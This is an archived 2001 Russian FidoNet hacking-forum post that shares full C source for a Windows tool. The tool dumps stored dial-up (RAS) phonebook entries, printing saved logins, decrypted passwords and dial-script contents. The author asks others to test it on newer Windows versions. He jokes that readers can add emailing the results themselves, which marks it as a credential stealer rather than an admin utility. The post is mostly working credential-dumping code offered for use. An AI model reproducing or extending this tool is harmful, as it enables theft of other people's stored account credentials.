Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Alexei Duzhiy                        2:5006/24.2    01 Nov 2001  20:19:42
 To : All
 Subject : Дампер диалапных паролей для win NT
 -------------------------------------------------------------------------------- 
 
 
 Пофиксил пpогу из фака. Пpотестиpуйте плиз на ME,w2k,XP. Результаты в эху (не
 забываем билд и сеpвиспак)
 
 // Active user phonebook viewer with decrypted passwords :-)
 // (c) DZh, one of last day of 1998 year
 
 // Fixed by Alexei Duzhiy, now works on Windows NT4SP6a
 // and supports Russian language
 
 #include <windows.h>
 #include <stdio.h>
 #include <ras.h>
 
 #pragma comment(lib, "rasapi32")
 
 #define MAX_ENTRIES 100
 
 void main(void)
 {
   LPRASENTRYNAME EntryArray = new (RASENTRYNAME[MAX_ENTRIES]);
   DWORD lpcb = sizeof(RASENTRYNAME)*MAX_ENTRIES;
   DWORD lpcEntries;
   DWORD i, e;
   int lpfPassword;
   RASDIALPARAMS DialEntry;
   RASENTRY *EntryParam;
   DWORD dwEntryInfoSize = 0;
   char buf[1024];
 
   printf("Active phonebook:\n");
   printf("Entry : CountryCode,AreaCode,Phone : Login/Pass\n");
 
   EntryArray[0].dwSize = sizeof(RASENTRYNAME);
 
   RasGetEntryProperties(NULL, NULL,
                     NULL, &dwEntryInfoSize, NULL, NULL);
   EntryParam = (RASENTRY*)malloc(dwEntryInfoSize);
   if( (e = RasEnumEntries( NULL, NULL, EntryArray, &lpcb,
                                           &lpcEntries)) == 0 )
     for(i=0;i<lpcEntries;i++)
     {
       strcpy(DialEntry.szEntryName, EntryArray[i].szEntryName);
       DialEntry.dwSize = sizeof(RASDIALPARAMS);
       RasGetEntryDialParams(NULL, &DialEntry, &lpfPassword );
 
       EntryParam->dwSize = dwEntryInfoSize;
       RasGetEntryProperties(NULL, DialEntry.szEntryName,
                     EntryParam, &dwEntryInfoSize, NULL, NULL);
       CharToOem(DialEntry.szEntryName,DialEntry.szEntryName);
       CharToOem(DialEntry.szUserName,DialEntry.szUserName);
       CharToOem(DialEntry.szPassword,DialEntry.szPassword);
       printf("%s : %u,%s,%s : %s/%s\n", DialEntry.szEntryName,
             EntryParam->dwCountryCode,
             EntryParam->szAreaCode,
             EntryParam->szLocalPhoneNumber,
             DialEntry.szUserName,
             lpfPassword==1?DialEntry.szPassword:"no_password");
       if (strcmp(EntryParam->szScript,""))
       {
             printf("Script:%s\n",EntryParam->szScript);
             FILE *fs = fopen(EntryParam->szScript,"rb");
             while(!feof(fs)&&(fgets(buf,sizeof(buf),fs))) printf("%s",buf);
             fclose(fs);
             printf("\n\n");
       }
     }
   else
     printf("RasEnumEntries error? Code:%d\n", e);
     free(EntryParam);
 }
 //А отсылку на мыло - сами пpикpутите. :)
 
 P.S. В w2k появилось:
 typedef struct tagRASENTRY {
 [...]
 DWORD     dwCustomAuthKey;      // authentication key for EAP
 Это с чем едят?
 
 Alexei
 
 ---
  * Origin:  (2:5006/24.2)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Дампер диалапных паролей для win NT   Alexei Duzhiy   01 Nov 2001 20:19:42 
 Re: Дампер диалапных паролей для win NT   Peter B.Shalimoff   06 Nov 2001 02:21:47 
 Дампер диалапных паролей для win NT   Alexei Duzhiy   08 Nov 2001 23:39:12 
Архивное /ru.nethack/27323be1a10e.html, оценка 2 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional